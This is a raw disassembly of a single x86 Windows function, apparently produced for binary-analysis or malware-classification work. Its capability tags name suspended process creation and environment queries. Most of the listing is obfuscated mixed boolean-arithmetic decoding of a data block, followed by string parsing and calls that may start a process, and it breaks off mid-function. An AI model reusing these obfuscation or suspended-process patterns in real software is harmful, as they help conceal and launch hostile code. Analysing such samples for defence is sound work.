Function at 0x4456e0
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
cmp dword [0x476660], 0
jne 0x44601b
mov ax, word [0x4755d0]
xor ax, 0xe59b
mov word [0x4755da], ax
mov ax, word [0x4755d2]
mov cx, ax
xor cx, 0xffff
or cx, 0xb435
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
add ax, 0x4bca
mov dx, ax
xor dx, 0xffff
and dx, cx
xor cx, 0xffff
and ax, cx
sub ax, dx
mov word [0x4755dc], ax
mov ax, word [0x4755d4]
mov dx, ax
xor dx, 0xffff
mov cx, dx
xor cx, 0xffff
xor dx, 0xffff
and cx, dx
or cx, 0x2f2f
xor cx, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0x2f2f
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
mov cx, ax
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
and dx, cx
xor dx, 0xffff
mov word [0x4755de], dx
mov ax, word [0x4755d6]
xor ax, 0xa3e3
mov word [0x4755e0], ax
mov ax, word [0x4755d8]
xor ax, 0x26fc
mov word [0x4755e2], ax
mov ax, word [0x4755e4]
mov cx, ax
xor cx, 0x250f
xor cx, 0xffff
mov dx, cx
xor dx, 0x250f
xor dx, 0xffff
or cx, 0x250f
and cx, dx
mov dx, cx
xor dx, 0xffff
mov si, dx
and si, 2
or dx, 2
xor dx, 0xffff
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
sub cx, 0x250f
add ax, 0x9f5f
sub ax, cx
sub ax, 0x9f5f
mov word [0x4755ee], ax
mov ax, word [0x4755e6]
xor ax, 0x1927
mov word [0x4755f0], ax
mov ax, word [0x4755e8]
xor ax, 0xac52
mov word [0x4755f2], ax
mov ax, word [0x4755ea]
mov cx, ax
and cx, 0xdbdc
mov si, cx
and si, 0xfffd
mov dx, cx
xor dx, 0xffff
and dx, 2
imul dx, si
mov si, cx
and si, 2
or cx, 2
imul cx, si
add cx, dx
sub ax, 0x2424
sub ax, cx
mov word [0x4755f4], ax
mov ax, word [0x4755ec]
mov cx, ax
and cx, 0x676d
shl cx, 1
add ax, 0x676d
sub ax, cx
mov word [0x4755f6], ax
mov ax, word [0x475600]
mov cx, ax
and cx, 0x5060
shl cx, 1
add ax, 0x5060
sub ax, cx
mov word [0x475640], ax
mov dx, word [0x475602]
mov ax, dx
xor ax, 0xffff
xor ax, 0xffff
xor ax, 0x2be3
and ax, 0x2be3
mov cx, dx
and cx, 0xd41c
xor cx, 0xffff
and dx, 0xd41c
xor dx, 0xffff
and cx, dx
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
mov di, cx
xor di, 0xffff
mov si, dx
and si, 0x2b1c
and ax, 0xd4e3
mov bx, di
and bx, 0x2b1c
and cx, 0xd4e3
or si, ax
or bx, cx
xor si, bx
or dx, di
xor dx, 0xffff
and dx, 0xffff
or si, dx
mov word [0x475642], si
mov ax, word [0x475604]
xor ax, 0x3d4b
mov word [0x475644], ax
mov ax, word [0x475606]
mov cx, ax
xor cx, 0xffff
and cx, 0x220c
and ax, 0xddf3
or cx, ax
mov word [0x475646], cx
mov ax, word [0x475608]
mov cx, ax
and cx, 0x5cba
shl cx, 1
add ax, 0x5cba
sub ax, cx
mov word [0x475648], ax
mov cx, word [0x47560a]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
and ax, dx
mov dx, cx
xor dx, 0xffff
mov si, cx
xor si, 0xffff
and dx, si
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
mov dx, ax
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
sub dx, 0xffff
sub ax, dx
or ax, 0x3f5b
mov dx, cx
xor dx, 0xffff
and dx, 0x8e8b
and cx, 0x7174
or dx, cx
xor dx, 0x7174
mov cx, dx
xor cx, 0xffff
and cx, 0x3f5b
xor dx, 0xffff
and dx, 0x3f5b
or cx, dx
xor cx, 0xffff
or ax, ax
xor ax, 0xffff
or cx, cx
xor cx, 0xffff
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov word [0x47564a], ax
mov ax, word [0x47560c]
mov cx, ax
and cx, 0x8ac4
shl cx, 1
mov dx, ax
and dx, 0x8ac4
or ax, 0x8ac4
add dx, ax
sub dx, cx
mov word [0x47564c], dx
mov ax, word [0x47560e]
mov cx, ax
and cx, 0xd77b
shl cx, 1
add ax, 0xd77b
sub ax, cx
mov word [0x47564e], ax
mov ax, word [0x475610]
mov cx, ax
xor cx, 0xfc9d
xor cx, 0xffff
and cx, 0xfc9d
shl cx, 1
sub cx, 0xfc9d
sub ax, cx
mov word [0x475650], ax
mov ax, word [0x475612]
mov cx, ax
xor cx, 0x8f5a
xor cx, 0xffff
and cx, 0x8f5a
shl cx, 1
sub cx, 0x8f5a
sub ax, cx
mov word [0x475652], ax
mov ax, word [0x475614]
xor ax, 0xc3a1
mov word [0x475654], ax
mov ax, word [0x475616]
xor ax, 0xa4fd
mov word [0x475656], ax
mov cx, word [0x475618]
mov ax, cx
xor ax, 0xffff
and ax, 0x4408
mov dx, cx
xor dx, 0xbbf7
xor dx, 0xffff
or cx, 0xbbf7
and cx, dx
or ax, cx
xor ax, 0xca4d
mov word [0x475658], ax
mov ax, word [0x47561a]
mov cx, ax
and cx, cx
xor cx, 0xffff
xor cx, 0xffff
or cx, 0xac59
xor cx, 0xffff
and cx, 0xffff
xor cx, 0xffff
xor ax, 0xffff
or ax, 0x53a6
or cx, cx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
mov dx, ax
and dx, 0xffff
shl dx, 1
add ax, 0xffff
sub ax, dx
or cx, ax
mov word [0x47565a], cx
mov ax, word [0x47561c]
mov cx, ax
xor cx, 0xffff
and cx, 0x7911
and ax, 0x86ee
or cx, ax
mov word [0x47565c], cx
mov ax, word [0x47561e]
mov cx, ax
xor cx, 0xffff
and cx, 0xd57b
and ax, 0x2a84
or cx, ax
xor cx, 0xe2ae
mov word [0x47565e], cx
mov ax, word [0x475620]
xor ax, 0x8e83
mov word [0x475660], ax
mov cx, word [0x475622]
mov ax, cx
and ax, ax
xor ax, 0xffff
and ax, 0x4dbf
xor ax, 0xffff
and cx, 0xb240
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
mov word [0x475662], ax
mov ax, word [0x475624]
mov cx, ax
xor cx, 0xa6b4
xor cx, 0xffff
and cx, 0xa6b4
shl cx, 1
sub cx, 0xa6b4
sub ax, cx
mov word [str.y_nu], ax
mov ax, word [0x475626]
xor ax, 0x7d21
mov word [0x475666], ax
mov ax, word [0x475628]
xor ax, 0x174c
mov word [0x475668], ax
mov cx, word [str.r__9m]
mov ax, cx
and ax, ax
xor ax, 0xffff
and ax, 0x3c01
xor ax, 0xffff
and cx, 0xc3fe
xor cx, 0xffff
mov dx, ax
add dx, 1
xor ax, 0xffff
or ax, cx
add ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov word [0x47566a], ax
mov ax, word [0x47562c]
xor ax, 0x395c
mov word [0x47566c], ax
mov ax, word [0x47562e]
mov cx, ax
and cx, cx
xor cx, 0xffff
xor cx, 0xffff
or cx, 0x7bb2
xor ax, 0xffff
or ax, 0x844d
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
mov word [0x47566e], cx
mov cx, word [0x475630]
mov ax, cx
xor ax, 0xffff
mov dx, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
or ax, dx
and ax, 0x6780
xor ax, 0xffff
xor cx, 0xffff
or cx, 0x6780
xor cx, 0xffff
mov dx, ax
xor dx, cx
and dx, ax
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
mov word [0x475670], dx
mov ax, word [0x475632]
xor ax, 0x8b36
mov word [0x475672], ax
mov ax, word [0x475634]
xor ax, 0x5754
mov word [0x475674], ax
mov ax, word [0x475636]
mov cx, ax
xor cx, 0xffff
and cx, 0xd72e
and ax, 0x28d1
or cx, ax
mov word [0x475676], cx
mov ax, word [0x475638]
mov cx, ax
xor cx, 0xffff
mov dx, ax
xor dx, 0xffff
and cx, dx
or cx, 0x8d35
xor cx, 0xffff
shl cx, 1
add ax, 0x72ca
sub ax, cx
mov word [0x475678], ax
mov ax, word [0x4755bc]
mov cx, ax
xor cx, 0xffff
and cx, 0x77d5
and ax, 0x882a
or cx, ax
xor cx, 0xb617
mov word [0x4755c6], cx
mov ax, word [0x4755be]
mov cx, ax
and cx, 0x2ff0
shl cx, 1
add ax, 0x2ff0
sub ax, cx
mov word [0x4755c8], ax
mov ax, word [0x4755c0]
mov cx, ax
xor cx, 0xffff
and cx, 0xd948
and ax, 0x26b7
or cx, ax
mov word [str.___tW], cx
mov cx, word [0x4755c2]
mov dx, cx
and dx, dx
mov ax, dx
xor ax, 0xffff
and ax, 0x9e67
and dx, 0x6198
or ax, dx
xor ax, 0x6198
and ax, 0x136e
xor ax, 0xffff
xor cx, 0xffff
and cx, 0xffff
or cx, 0
mov dx, cx
and dx, 0x136e
xor cx, 0x136e
or dx, cx
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, dx
add ax, cx
xor ax, 0xffff
mov word [0x4755cc], ax
mov ax, word [0x4755c4]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
and dx, 0x5ce6
and ax, 0xa319
or dx, ax
mov word [0x4755ce], dx
mov ax, word [0x4755a0]
xor ax, 0xee24
mov word [0x4755ae], ax
mov cx, word [0x4755a2]
mov dx, cx
xor dx, 0xffff
mov si, cx
xor si, 0xffff
mov ax, dx
xor ax, 0xffff
mov di, si
xor di, 0xffff
or ax, di
and dx, si
xor dx, 0xffff
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
mov dx, ax
and dx, 0x5476
xor dx, 0xffff
add ax, 0x5476
add ax, 1
add ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0
and ax, 0xffff
xor ax, 0xffff
or cx, 0xab89
mov dx, cx
xor dx, 0xffff
and dx, 0x88bb
and cx, 0x7744
or dx, cx
xor dx, 0x7744
mov cx, ax
xor cx, 0xffff
and cx, 0x74ed
and ax, 0x8b12
or cx, ax
xor cx, 0x8b12
xor dx, 0xffff
and cx, dx
mov word [0x4755b0], cx
mov ax, word [0x4755a4]
xor ax, 0x2b36
mov word [0x4755b2], ax
mov ax, word [0x4755a6]
mov cx, ax
xor cx, 0xffff
and cx, 0x66a3
and ax, 0x995c
or cx, ax
mov word [0x4755b4], cx
mov ax, word [0x4755a8]
xor ax, 0x5dc8
mov word [0x4755b6], ax
mov ax, word [0x4755aa]
mov cx, ax
xor cx, 0xe1b6
mov dx, cx
and dx, 0xffff
shl dx, 1
add cx, 0xffff
sub cx, dx
and cx, 0xe1b6
shl cx, 1
add cx, 0x6cb1
sub cx, 0xe1b6
sub cx, 0x6cb1
mov dx, ax
xor dx, cx
xor cx, 0xffff
and ax, cx
shl ax, 1
sub ax, dx
mov word [0x4755b8], ax
mov ax, word [0x4755ac]
xor ax, 0x704b
mov word [0x4755ba], ax
jmp 0x44601d
mov dword [0x476660], 1
push eax
mov esi, esp
push eax
mov edi, esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov dword [ebp - 0xb4], esp
push eax
mov dword [ebp - 0xb0], esp
push eax
mov dword [ebp - 0xac], esp
push eax
mov dword [ebp - 0x24], esp
push eax
mov dword [ebp - 0x114], esp
push eax
mov dword [ebp - 0xa8], esp
push eax
mov dword [ebp - 0xa4], esp
push eax
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0xa0], esp
push eax
mov dword [ebp - 0x9c], esp
push eax
mov dword [ebp - 0x98], esp
push eax
mov dword [ebp - 0x94], esp
push eax
mov dword [ebp - 0x64], esp
push eax
mov dword [ebp - 0x40], esp
push eax
mov dword [ebp - 0x60], esp
sub esp, 8
mov dword [ebp - 0x5c], esp
push eax
mov dword [ebp - 0x58], esp
push eax
mov dword [ebp - 0x90], esp
push eax
mov dword [ebp - 0x8c], esp
push eax
mov dword [ebp - 0x110], esp
push eax
mov dword [ebp - 0x10c], esp
push eax
mov dword [ebp - 0x88], esp
push eax
mov dword [ebp - 0x84], esp
push eax
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x50], esp
push eax
mov dword [ebp - 0x3c], esp
push eax
mov dword [ebp - 0x108], esp
sub esp, 8
mov dword [ebp - 0x104], esp
push eax
mov dword [ebp - 0x80], esp
push eax
mov dword [ebp - 0x7c], esp
push eax
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0x78], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x100], esp
sub esp, 8
mov dword [ebp - 0xfc], esp
push eax
mov dword [ebp - 0xf8], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x18], esp
sub esp, 0x80
mov dword [ebp - 0x48], esp
sub esp, 0x400
mov dword [ebp - 0x14], esp
sub esp, 0x10
mov dword [ebp - 0xf0], esp
push eax
mov dword [ebp - 0xec], esp
push eax
mov dword [ebp - 0x44], esp
sub esp, 0xc
mov dword [ebp - 0xe8], esp
sub esp, 0x400
mov dword [ebp - 0xe0], esp
sub esp, 0x44
mov dword [ebp - 0xdc], esp
sub esp, 0x10
mov dword [ebp - 0xd8], esp
sub esp, 0xc
mov dword [ebp - 0xd0], esp
sub esp, 0x400
mov dword [ebp - 0xcc], esp
sub esp, 0xc
mov dword [ebp - 0xc8], esp
push eax
sub esp, 0x3fc
mov dword [ebp - 0xc4], esp
sub esp, 0x3c
mov dword [ebp - 0xc0], esp
sub esp, 0x400
mov dword [ebp - 0x74], esp
sub esp, 0x44
mov dword [ebp - 0xbc], esp
sub esp, 0x10
mov dword [ebp - 0xb8], esp
sub esp, 8
mov dword [ebp - 0xe4], esp
push eax
mov dword [ebp - 0xd4], esp
push eax
mov dword [ebp - 0xf4], esp
call fcn.0044c7d0
mov dword [edi], eax
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.004013a0
add esp, 4
mov dword [ebx], eax
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401930
add esp, 4
cmp eax, 4
setne al
test al, 1
jne 0x4461fd
jmp 0x446221
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401a80
add esp, 4
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x447675
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.004016f0
add esp, 4
mov edi, dword [ebp - 0xb4]
mov dword [edi], eax
mov eax, dword [edi]
lea ecx, [0x469756]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.004018f0
add esp, 0xc
cmp eax, 0
jne 0x446284
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401a80
add esp, 4
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x447675
mov eax, dword [edi]
lea ecx, [0x469758]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 5
call fcn.004018f0
add esp, 0xc
cmp eax, 0
jne 0x4462cf
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00401a80
add esp, 4
mov dword [esi], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], 1
jmp 0x447675
mov dword [ebp - 0x118], ebx
mov dword [ebp - 0x11c], esi
mov eax, dword [edi]
lea ecx, [0x46975a]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401720
add esp, 8
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [edi]
lea ecx, [0x469758]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401720
add esp, 8
mov esi, dword [ebp - 0xac]
mov dword [esi], eax
mov edi, dword [ebp - 0x24]
mov dword [edi], 0
mov ebx, dword [edi]
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.004019c0
add esp, 4
cmp ebx, eax
jb 0x446352
mov eax, dword [ebp - 0x10]
mov dword [eax], 2
mov ebx, dword [ebp - 0xe4]
jmp 0x447548
mov eax, dword [edi]
mov ecx, dword [esi]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.004019f0
add esp, 8
mov esi, dword [ebp - 0x114]
mov dword [esi], eax
mov eax, dword [esi]
lea ecx, [0x46975d]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.004018f0
add esp, 0xc
cmp eax, 0
jne 0x4463a5
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x447522
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46975d
call fcn.004016a0
add esp, 8
fnstcw word [ebp - 0x2e]
movzx eax, word [ebp - 0x2e]
or eax, 0xc00
mov word [ebp - 0x6e], ax
fldcw word [ebp - 0x6e]
fistp dword [ebp - 0x130]
fldcw word [ebp - 0x2e]
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
cmp dword [ecx], 0
jne 0x446966
mov eax, dword [esi]
lea ecx, [0x46975f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.004018f0
add esp, 0xc
cmp eax, 0
je 0x4464b7
mov eax, dword [esi]
lea ecx, [0x469761]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 5
call fcn.004018f0
add esp, 0xc
cmp eax, 0
je 0x4464b7
mov eax, dword [esi]
lea ecx, [0x469763]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.004018f0
add esp, 0xc
cmp eax, 0
je 0x4464b7
mov eax, dword [esi]
lea ecx, [0x469765]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.004018f0
add esp, 0xc
cmp eax, 0
je 0x4464b7
mov eax, dword [esi]
lea ecx, [0x469767]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 3
call fcn.004018f0
add esp, 0xc
cmp eax, 0
jne 0x4464c5
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x44751e
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x46975f
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0xa4]
mov dword [ecx], eax
mov ebx, ecx
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469761
call fcn.00401720
add esp, 8
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469763
call fcn.00401650
add esp, 8
mov edi, dword [ebp - 0xa0]
mov dword [edi], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469765
call fcn.004016a0
add esp, 8
fnstcw word [ebp - 0x2c]
movzx eax, word [ebp - 0x2c]
or eax, 0xc00
mov word [ebp - 0x6c], ax
fldcw word [ebp - 0x6c]
fistp dword [ebp - 0x120]
fldcw word [ebp - 0x2c]
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x9c]
mov dword [ecx], eax
mov eax, dword [esi]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x469767
call fcn.004016a0
add esp, 8
fnstcw word [ebp - 0x2a]
movzx eax, word [ebp - 0x2a]
or eax, 0xc00
mov word [ebp - 0x6a], ax
fldcw word [ebp - 0x6a]
fistp dword [ebp - 0x124]
fldcw word [ebp - 0x2a]
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x98]
mov dword [ecx], eax
mov eax, dword [ebx]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov ebx, dword [esi]
mov eax, ebx
xor eax, 0xffffffff
xor eax, 0xffffffff
or eax, 0xfffffffd
xor eax, 0xffffffff
and eax, 0xffffffff
mov edx, ebx
and edx, 0xfffffffd
mov edi, edx
xor edi, 0xffffffff
mov esi, eax
and esi, edi
mov edi, eax
xor edi, 0xffffffff
mov ecx, edx
and ecx, edi
imul ecx, esi
mov edi, edx
and edi, eax
or edx, eax
imul edx, edi
add edx, ecx
mov edi, ebx
xor edi, 0xffffffff
mov eax, ebx
xor eax, 0xffffffff
and edi, eax
or edi, 0xfffffffd
xor edi, 0xffffffff
mov eax, ebx
and eax, 2
xor ebx, 2
or eax, ebx
mov ecx, eax
xor ecx, 0xffffffff
mov esi, edi
and esi, ecx
mov ebx, edi
xor ebx, 0xffffffff
mov ecx, eax
and ecx, ebx
imul ecx, esi
mov esi, eax
and esi, edi
or eax, edi
imul eax, esi
add eax, ecx
add eax, edx
mov ecx, eax
and ecx, 2
mov edi, ecx
and edi, 0xfffffffd
mov edx, ecx
or edx, 0xfffffffd
xor edx, 0xffffffff
imul edx, edi
mov edi, ecx
and edi, 2
or ecx, 2
imul ecx, edi
add ecx, edx
mov edx, eax
xor edx, 2
xor edx, 0xffffffff
and edx, 2
shl edx, 1
sub edx, 2
sub eax, edx
add eax, ecx
sub esp, 4
mov dword [esp], eax
call fcn.00455704
add esp, 4
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov edx, eax
xor edx, 2
and edx, eax
mov edi, eax
or edi, 0xfffffffd
xor edi, 0xffffffff
imul edi, edx
mov ecx, eax
and ecx, 2
or eax, 2
mov esi, eax
xor esi, 0xffffffff
mov ebx, ecx
and ebx, esi
mov esi, ecx
xor esi, 0xffffffff
mov edx, eax
and edx, esi
imul edx, ebx
mov esi, eax
and esi, ecx
or eax, ecx
imul eax, esi
add eax, edx
add eax, edi
add eax, 2
sub esp, 4
mov dword [esp], eax
call fcn.00455704
add esp, 4
mov edi, dword [ebp - 0x60]
mov dword [edi], eax
mov esi, dword [ebp - 0x94]
mov eax, dword [esi]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ecx]
mov ebx, dword [ebp - 0x40]
mov edx, dword [ebx]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045572f
add esp, 0xc
mov eax, dword [ebx]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
mov esi, dword [ebp - 0x64]
mov eax, dword [esi]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ecx]
mov edx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045572f
add esp, 0xc
mov eax, dword [edi]
mov ecx, dword [esi]
mov word [eax + ecx*2], 0
sub esp, 8
mov dword [esp], 1
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
call fcn.0042f2f0
mov edx, dword [ebp - 0x20]
add esp, 8
mov esi, dword [ebp - 0x58]
mov dword [esi], 0
mov edi, dword [esi]
mov eax, dword [edx]
sub esp, 4
mov dword [esp], eax
call fcn.004019c0
add esp, 4
cmp edi, eax
jb 0x4467a2
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 0x24]
jmp 0x446797
mov dword [eax], 5
jmp 0x446927
mov esi, dword [ebp - 0x58]
mov eax, dword [esi]
mov ecx, dword [ebp - 0x20]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401950
add esp, 8
mov ecx, dword [ebp - 0x90]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00401930
add esp, 4
cmp eax, 2
sete al
test al, 1
mov edx, dword [ebp - 0x20]
jne 0x4467e8
jmp 0x446917
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00401670
add esp, 4
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], eax
mov eax, dword [ecx]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ebx, dword [ebp - 0x110]
mov dword [ebx], eax
mov eax, dword [ebx]
mov ecx, eax
xor ecx, 0xfffffffd
xor ecx, 0xffffffff
mov edx, eax
or edx, 0xfffffffd
and edx, ecx
mov edi, eax
and edi, edi
xor edi, 0xffffffff
xor edi, 0xffffffff
or edi, 0xfffffffd
mov ecx, edi
xor ecx, 0xffffffff
and ecx, 0x3915df7a
and edi, 0xc6ea2085
or ecx, edi
xor ecx, 0xc6ea2085
imul ecx, edx
mov edx, eax
and edx, 2
mov edi, eax
and edi, 2
xor edi, 0xffffffff
add eax, 2
add eax, 1
add eax, edi
imul eax, edx
add eax, ecx
mov ecx, eax
and ecx, 2
or eax, 2
add ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.00455704
add esp, 4
mov esi, dword [ebp - 0x10c]
mov dword [esi], eax
mov eax, dword [ebx]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx]
mov edx, dword [esi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0045572f
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebx]
mov word [eax + ecx*2], 0
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x60]
mov edx, dword [eax]
mov edi, dword [esi]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
sub esp, 0x18
mov dword [esp], eax
mov dword [esp + 4], edi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ebx
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x14], eax
call fcn.0040aad0
add esp, 0x18
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x58]
jmp 0x446917
mov eax, dword [esi]
xor eax, 0xffffffff
xor ecx, ecx
sub ecx, eax
mov dword [esi], ecx
jmp 0x446779
sub esp, 4
mov eax, dword [ebp - 0x5c]
mov dword [esp], eax
call fcn.0042f380
add esp, 4
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.00455665
add esp, 4
mov ecx, dword [ebp - 0x10]
jmp 0x447518
cmp dword [ecx], 1
jne 0x446c08
jmp 0x446971
call fcn.00406550
mov eax, dword [esi]
lea ecx, [0x46975f]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.004018f0
add esp, 0xc
cmp eax, 0
setne al
test al, 1
jne 0x4469a4
jmp 0x4469cb
mov eax, dword [esi]
lea ecx, [0x469763]
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], 2
call fcn.004018f0
add esp, 0xc
cmp eax, 0
jne 0x4469d9
mov ecx, dword [ebp - 0x10]
mov dword [ecx], 4
jmp 0x44751e
mov eax, dword [esi]
lea ecx, [0x46975f]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x88]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
lea ecx, [0x469763]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00401650
add esp, 8
mov ecx, dword [ebp - 0x84]
mov dword [ecx], eax
mov esi, ecx
mov eax, dword [edi]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov edi, ecx
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455c10
add esp, 4
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov ebx, dword [edi]
mov ecx, ebx
or ecx, ecx
xor ecx, 0xffffffff
or ecx, 2
xor ecx, 0xffffffff
mov eax, ebx
or eax, 0xfffffffd
xor eax, 0xffffffff
mov edi, eax
xor edi, 0xffffffff
mov esi, ecx
and esi, edi
mov edi, ecx
xor edi, 0xffffffff
mov edx, eax
and edx, edi
imul edx, esi
mov edi, eax
and edi, ecx
or eax, ecx
imul eax, edi
add eax, edx
mov edi, ebx
xor edi, 0xffffffff
or edi, 0xfffffffd
xor edi, 0xffffffff
and edi, 0xffffffff
mov ecx, ebx
and ecx, 2
xor ebx, 2
or ecx, ebx
mov edx, ecx
xor edx, 0xffffffff
mov ebx, edi
and ebx, edx
mov esi, edi
xor esi, 0xffffffff
mov edx, ecx
and edx, esi
imul edx, ebx
mov esi, ecx
and esi, edi
or ecx, edi
mov edi, dword [ebp - 0x24]
imul ecx, esi
add ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
